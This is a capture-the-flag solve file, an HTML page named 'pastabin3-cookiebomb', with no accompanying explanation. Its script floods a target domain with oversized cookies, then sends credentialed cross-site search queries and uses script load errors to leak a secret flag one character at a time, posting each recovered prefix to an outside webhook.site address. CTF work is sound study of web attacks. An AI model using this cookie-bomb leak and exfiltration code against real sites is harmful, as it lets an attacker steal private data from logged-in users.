pastabin3-cookiebomb

solve.html

<script>
        document.cookie = 'wow1=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;';
        document.cookie = 'wow2=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;';
        document.cookie = 'wow3=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;';
        var base = "flag{c";
        var searchAlphabet = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-";

        function tryWord(idx) {
            if (idx >= searchAlphabet.length) throw "ENDED";
            document.cookie = 'wow4=' + 'A'.repeat(1900) + '; path=/;domain=.pastebin-3.mc.ax; '
            fetch("https://pastebin-3.mc.ax/home", {
                mode: "no-cors",
                credentials: "include"
            }).then(r => {
                fetch(`https://pastebin-3.mc.ax/search?query=${base}${searchAlphabet[idx]}`, {
                    mode: "no-cors",
                    credentials: "include"
                }).finally(r => {
                    document.cookie = 'wow4=' + 'A'.repeat(1950) + '; path=/;domain=.pastebin-3.mc.ax; '
                    let script = document.createElement('script');
                    script.src = "https://pastebin-3.mc.ax/home";
                    script.onload = (e) => {
                        tryWord(idx + 1);
                    }
                    script.onerror = (e) => {
                        fetch("https://webhook.site/AA", {
                            method: "POST",
                            body: base + searchAlphabet[idx],
                            mode: "no-cors"
                        });
                        base += searchAlphabet[idx];
                        tryWord(0);
                    };
                    document.body.appendChild(script);
                });
            });
        }
        tryWord(0);
</script>